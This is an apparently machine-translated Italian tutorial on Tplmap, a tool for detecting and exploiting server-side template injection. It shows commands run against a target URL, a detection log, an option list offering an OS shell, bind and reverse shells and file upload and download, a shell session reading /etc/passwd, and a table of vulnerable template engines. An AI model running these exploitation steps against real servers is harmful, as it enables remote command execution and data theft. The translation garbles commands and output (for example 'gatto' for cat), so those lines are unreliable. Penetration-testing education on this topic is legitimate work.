Quando si esegue un test di penetrazione di una pagina Web che genera contenuto dinamico utilizzando modelli con valori forniti dall'utente, è possibile che si riscontri una vulnerabilità di inserimento di modelli sul lato server. L'identificazione manuale del motore modello con cui si sta trattando e il successivo sfruttamento possono essere facilmente automatizzati utilizzando lo strumento Tplmap.
Tplmap è in grado di rilevare e utilizzare SSTI in diversi tipi di motori modello. Ha funzionalità come la navigazione nel file system e l'esecuzione remota di comandi sul server attaccato.
$ ./tplmap.py -u «http://www.target.com/page?name=John»
[+] Tplmap 0.5
Strumento automatico di rilevamento e sfruttamento dell'iniezione di modelli sul lato server
[+] Verifica se il parametro GET 'nome' è iniettabile
[+] Il plug-in Smarty sta testando il rendering con tag '{*}'
[+] Il plug-in Smarty sta testando l'iniezione cieca
[+] Il plug-in Mako sta testando il rendering con tag '${*}'
...
[+] Il plug-in Jinja2 sta testando il rendering con tag '{{*}}'
[+] Il plug-in Jinja2 ha confermato l'iniezione con tag '{{*}}'
[+] Tplmap ha identificato il seguente punto di iniezione:
Parametro GET: nome
Motore: Jinja2
Iniezione: {{*}}
Contesto: testo
Sistema operativo: linux
Tecnica: rendering
Funzionalità:
Esecuzione del comando shell: circa
Guscio di legare e invertire: circa
Scrittura file: ok
Lettura file: ok
Valutazione del codice: ok, codice python
[+] Rieseguire tplmap fornendo una delle opzioni seguenti:
--shell del sistema operativo Esegui shell sulla destinazione
--comandi della shell di esecuzione os-cmd
--bind-shell PORT Connettersi a una shell associazione a una porta di destinazione
--PORTA HOST a shell inversa Inviare una shell alla porta dell'utente malintenzionato
--caricare file DI CARICAMENTO REMOTO LOCALE nel server
--scarica REMOTE LOCAL Scarica file remoti
Utilizzare l'opzione --os-shell
per eseguire lo pseudoterminale sulla destinazione.
$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
Strumento automatico di rilevamento e sfruttamento dell'iniezione di modelli sul lato server
[+] Eseguire comandi nel sistema operativo.
linux $ whoami
ragnatela
linux $ gatto /etc/passwd
radice:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
collocazione:x:2:2:collocazione:/collocazione:/collocazione/sh
Tplmap supporta più di 15 motori modello:
motore | Esecuzione remota dei comandi | cieco | Valutazione del codice | File di lettura | Scrivi nel file |
---|---|---|---|---|---|
Mako | ✓ | ✓ | pitone | ✓ | ✓ |
Jinja2 | ✓ | ✓ | pitone | ✓ | ✓ |
Python (valutazione del codice) | ✓ | ✓ | pitone | ✓ | ✓ |
tornado | ✓ | ✓ | pitone | ✓ | ✓ |
Nunjucks | ✓ | ✓ | Codice JavaScript | ✓ | ✓ |
carlino | ✓ | ✓ | Codice JavaScript | ✓ | ✓ |
punto | ✓ | ✓ | Codice JavaScript | ✓ | ✓ |
Marko | ✓ | ✓ | Codice JavaScript | ✓ | ✓ |
JavaScript (valutazione del codice) | ✓ | ✓ | Codice JavaScript | ✓ | ✓ |
Polvere (<= [email protected]) | ✓ | ✓ | Codice JavaScript | ✓ | ✓ |
EJS | ✓ | ✓ | Codice JavaScript | ✓ | ✓ |
Ruby (codice eval) | ✓ | ✓ | rubino | ✓ | ✓ |
snello | ✓ | ✓ | rubino | ✓ | ✓ |
erbio | ✓ | ✓ | rubino | ✓ | ✓ |
Smarty (non protetto) | ✓ | ✓ | PHP | ✓ | ✓ |
PHP (valutazione del codice) | ✓ | ✓ | PHP | ✓ | ✓ |
Ramoscello (<=1.19) | ✓ | ✓ | PHP | ✓ | ✓ |
Segno di spunta | ✓ | ✓ | × | ✓ | ✓ |
Velocity | ✓ | ✓ | × | ✓ | ✓ |
Ramoscello (>1.19) | × | × | × | × | × |
Smarty (protetto) | × | × | × | × | × |
Polvere (> [email protected]) | × | × | × | × | × |
Tplmap può essere trovato sul creatore github – tplmap.